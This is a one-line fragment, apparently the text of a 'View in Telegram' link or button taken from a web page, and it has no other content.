VIEW IN TELEGRAM